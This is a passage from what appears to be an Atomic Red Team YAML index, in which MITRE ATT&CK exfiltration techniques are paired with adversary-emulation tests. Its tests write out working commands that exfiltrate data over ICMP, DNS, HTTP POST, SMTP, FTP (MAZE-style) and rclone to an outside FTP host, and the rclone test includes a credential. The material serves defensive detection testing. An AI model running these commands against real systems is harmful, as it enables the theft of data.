        creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS)
        snapshot generates a \"Get Snapshot SAS URL\" event in Activity Logs.(Citation:
        Azure Blob Snapshots)(Citation: Azure Shared Access Signature)"
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - IaaS
      - SaaS
      - Google Workspace
      - Office 365
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Cloud Storage: Cloud Storage Modification'
      - 'Snapshot: Snapshot Creation'
      - 'Snapshot: Snapshot Modification'
      - 'Cloud Storage: Cloud Storage Metadata'
      - 'Snapshot: Snapshot Metadata'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Cloud Storage: Cloud Storage Creation'
      type: attack-pattern
      id: attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6
      created: '2019-08-30T13:03:04.038Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1537
        external_id: T1537
      - source_name: AWS EBS Snapshot Sharing
        description: Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved
          March 2, 2022.
        url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html
      - source_name: TLDRSec AWS Attacks
        description: Clint Gibler and Scott Piper. (2021, January 4). Lesser Known
          Techniques for Attacking AWS Environments. Retrieved March 4, 2024.
        url: https://tldrsec.com/p/blog-lesser-known-aws-attacks
      - source_name: Azure Shared Access Signature
        description: Delegate access with a shared access signature. (2019, December
          18). Delegate access with a shared access signature. Retrieved March 2,
          2022.
        url: https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature
      - source_name: Azure Blob Snapshots
        description: Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved
          March 2, 2022.
        url: https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview
      - source_name: Microsoft Azure Storage Shared Access Signature
        description: Microsoft. (2023, June 7). Grant limited access to Azure Storage
          resources using shared access signatures (SAS). Retrieved March 4, 2024.
        url: https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview
      - source_name: DOJ GRU Indictment Jul 2018
        description: Mueller, R. (2018, July 13). Indictment - United States of America
          vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.
        url: https://www.justice.gov/file/1080281/download
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1052:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - William Cain
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549
      type: attack-pattern
      created: '2017-05-31T21:30:46.461Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1052
        external_id: T1052
      modified: '2022-04-25T14:00:00.188Z'
      name: Exfiltration Over Physical Medium
      description: Adversaries may attempt to exfiltrate data via a physical medium,
        such as a removable drive. In certain circumstances, such as an air-gapped
        network compromise, exfiltration could occur via a physical medium or device
        introduced by a user. Such media could be an external hard drive, USB drive,
        cellular phone, MP3 player, or other removable storage and processing device.
        The physical medium or device could be used as the final exfiltration point
        or to hop between otherwise disconnected systems.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute when removable media are mounted.
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Drive: Drive Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_system_requirements:
      - Presence of physical medium or device
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1048.003:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated
        Non-C2 Protocol'
      description: "Adversaries may steal data by exfiltrating it over an un-encrypted
        network protocol other than that of the existing command and control channel.
        The data may also be sent to an alternate network location from the main command
        and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate
        this data, without the use of encryption, within network protocols that are
        natively unencrypted (such as HTTP, FTP, or DNS). This may include custom
        or publicly available encoding/compression algorithms (such as base64) as
        well as embedding data within protocol headers and fields. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - William Cain
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2) \n\nFor network infrastructure
        devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate
        configuration files to non-standard destinations over unencrypted protocols
        such as TFTP."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Access'
      - 'Network Traffic: Network Traffic Content'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_network_requirements: false
      type: attack-pattern
      id: attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b
      created: '2020-03-15T15:37:47.583Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1048/003
        external_id: T1048.003
      - source_name: copy_cmd_cisco
        description: Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals
          Command Reference . Retrieved July 13, 2022.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1048.003
    atomic_tests:
    - name: Exfiltration Over Alternative Protocol - HTTP
      auto_generated_guid: 1d1abbd6-a3d3-4b2e-bef5-c59293f46eff
      description: |
        A firewall rule (ipfw,pf,iptables or firewalld) will be needed to allow exfiltration on port 1337.

        Upon successful execution, sh will be used to make a directory (/tmp/victim-staging-area), write a txt file, and host the directory with Python on port 1337, to be later downloaded.
      supported_platforms:
      - macos
      - linux
      executor:
        steps: |
          1. Victim System Configuration:

              mkdir /tmp/victim-staging-area
              echo "this file will be exfiltrated" > /tmp/victim-staging-area/victim-file.txt

          2. Using Python to establish a one-line HTTP server on victim system:

              cd /tmp/victim-staging-area
              python -m SimpleHTTPServer 1337

          3. To retrieve the data from an adversary system:

              wget http://VICTIM_IP:1337/victim-file.txt
        name: manual
    - name: Exfiltration Over Alternative Protocol - ICMP
      auto_generated_guid: dd4b4421-2e25-4593-90ae-7021947ad12e
      description: |
        Exfiltration of specified file over ICMP protocol.

        Upon successful execution, powershell will utilize ping (icmp) to exfiltrate notepad.exe to a remote address (default 127.0.0.1). Results will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path to file to be exfiltrated.
          type: path
          default: C:\Windows\System32\notepad.exe
        ip_address:
          description: Destination IP address where the data should be sent.
          type: string
          default: 127.0.0.1
      executor:
        command: '$ping = New-Object System.Net.Networkinformation.ping; foreach($Data
          in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}",
          1500, $Data) }

          '
        name: powershell
    - name: Exfiltration Over Alternative Protocol - DNS
      auto_generated_guid: c403b5a4-b5fc-49f2-b181-d1c80d27db45
      description: 'Exfiltration of specified file over DNS protocol.

        '
      supported_platforms:
      - linux
      executor:
        steps: |
          1. On the adversary machine run the below command.

              tshark -f "udp port 53" -Y "dns.qry.type == 1 and dns.flags.response == 0 and dns.qry.name matches \\".domain\\"" >> received_data.txt

          2. On the victim machine run the below commands.

              xxd -p input_file > encoded_data.hex | for data in `cat encoded_data.hex`; do dig $data.domain; done

          3. Once the data is received, use the below command to recover the data.

              cat output_file | cut -d "A" -f 2 | cut -d " " -f 2 | cut -d "." -f 1 | sort | uniq | xxd -p -r
        name: manual
    - name: Exfiltration Over Alternative Protocol - HTTP
      auto_generated_guid: 6aa58451-1121-4490-a8e9-1dada3f1c68c
      description: |
        Exfiltration of specified file over HTTP.
        Upon successful execution, powershell will invoke web request using POST method to exfiltrate notepad.exe to a remote address (default http://127.0.0.1). Results will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          $content = Get-Content #{input_file}
          Invoke-WebRequest -Uri #{ip_address} -Method POST -Body $content
        name: powershell
      input_arguments:
        input_file:
          description: Path to file to exfiltrate
          type: path
          default: C:\Windows\System32\notepad.exe
        ip_address:
          description: Destination IP address where the data should be sent
          type: string
          default: http://127.0.0.1
    - name: Exfiltration Over Alternative Protocol - SMTP
      auto_generated_guid: ec3a835e-adca-4c7c-88d2-853b69c11bb9
      description: |
        Exfiltration of specified file over SMTP.
        Upon successful execution, powershell will send an email with attached file to exfiltrate to a remote address. Results will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'Send-MailMessage -From #{sender} -To #{receiver} -Subject "T1048.003
          Atomic Test" -Attachments #{input_file} -SmtpServer #{smtp_server}

          '
        name: powershell
      input_arguments:
        input_file:
          description: Path to file to exfiltrate
          type: path
          default: C:\Windows\System32\notepad.exe
        sender:
          description: The email address of the sender
          type: string
          default: test@corp.com
        receiver:
          description: The email address of the receiver
          type: string
          default: test@corp.com
        smtp_server:
          description: SMTP server to use for email transportation
          type: string
          default: 127.0.0.1
    - name: MAZE FTP Upload
      auto_generated_guid: 57799bc2-ad1e-4130-a793-fb0c385130ba
      description: "This test simulates MAZE's ransomware's ability to exfiltrate
        data via FTP.\nUpon successful execution, all 7z files within the %windir%\\temp
        directory will be uploaded to a remote FTP server. \nReference: https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents\n"
      supported_platforms:
      - windows
      input_arguments:
        ftp_server:
          description: FTP Server address
          type: string
          default: 127.0.0.1
        username:
          description: Username for FTP server login
          type: string
          default: 
        password:
          description: Password for FTP server login
          type: string
          default: 
      executor:
        command: |
          $Dir_to_copy = "$env:windir\temp"
          $ftp = "ftp://#{ftp_server}/"
          $web_client = New-Object System.Net.WebClient
          $web_client.Credentials = New-Object System.Net.NetworkCredential('#{username}', '#{password}')
          if (test-connection -count 1 -computername "#{ftp_server}" -quiet)
          {foreach($file in (dir $Dir_to_copy "*.7z"))
          {echo "Uploading $file..."
          $uri = New-Object System.Uri($ftp+$file.name)
          $web_client.UploadFile($uri, $file.FullName)}}
          else
          {echo "FTP Server Unreachable. Please verify the server address in input args and try again."}
        cleanup_command: |
          $ftp = "ftp://#{ftp_server}/"
          try {foreach ($file in (dir "$env:windir\temp" "*.7z"))
          {$uri = New-Object System.Uri($ftp+$file.name)
           $ftp_del = [System.Net.FtpWebRequest]::create($uri)
           $ftp_del.Credentials = New-Object System.Net.NetworkCredential('#{username}','#{password}')
           $ftp_del.Method = [System.Net.WebRequestMethods+Ftp]::DeleteFile
           $ftp_del.GetResponse()}} catch{}
        name: powershell
    - name: Exfiltration Over Alternative Protocol - FTP - Rclone
      auto_generated_guid: b854eb97-bf9b-45ab-a1b5-b94e4880c56b
      description: |-
        Rclone may be used by an adversary to exfiltrate data to a publicly hosted FTP server.
        [Reference](https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/)
      supported_platforms:
      - windows
      input_arguments:
        ftp_server:
          description: Your own ftp server
          type: string
          default: ftp.dlptest.com
        ftp_pass:
          description: Your FTP user's password
          type: string
          default: rNrKYTX9g7z3RgJRmxWuGHbeu
        ftp_user:
          description: Your FTP username
          type: string
          default: dlpuser
        ftp_port:
          description: Your FTP's port
          type: integer
          default: 21
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if the exfil package exists

          '
        prereq_command: 'if (Test-Path C:\Users\Public\Downloads\exfil.zip) {exit
          0} else {exit 1}

          '
        get_prereq_command: 'fsutil file createnew C:\Users\Public\Downloads\exfil.zip
          20485760

          '
      - description: Check if rclone zip exists
        prereq_command: 'if (Test-Path C:\Users\Public\Downloads\rclone-current-windows-amd64.zip)
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          Invoke-WebRequest -Uri "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "C:\Users\Public\Downloads\rclone-current-windows-amd64.zip"
          Expand-Archive C:\Users\Public\Downloads\rclone-current-windows-amd64.zip -DestinationPath C:\Users\Public\Downloads\
      executor:
        command: |-
          $rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
          $exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName
          &$rclone_bin config create ftpserver "ftp" "host" #{ftp_server} "port" #{ftp_port} "user" #{ftp_user} "pass" #{ftp_pass}
          &$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate
        name: powershell
        elevation_required: true
    - name: Python3 http.server
      auto_generated_guid: 3ea1f938-f80a-4305-9aa8-431bc4867313
      description: 'An adversary may use the python3 standard library module http.server
        to exfiltrate data. This test checks if python3 is available and if so, creates
        a HTTP server on port 9090, captures the PID, sleeps for 10 seconds, then
        kills the PID and unsets the $PID variable.

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: false
        command: |
          [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9
          if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi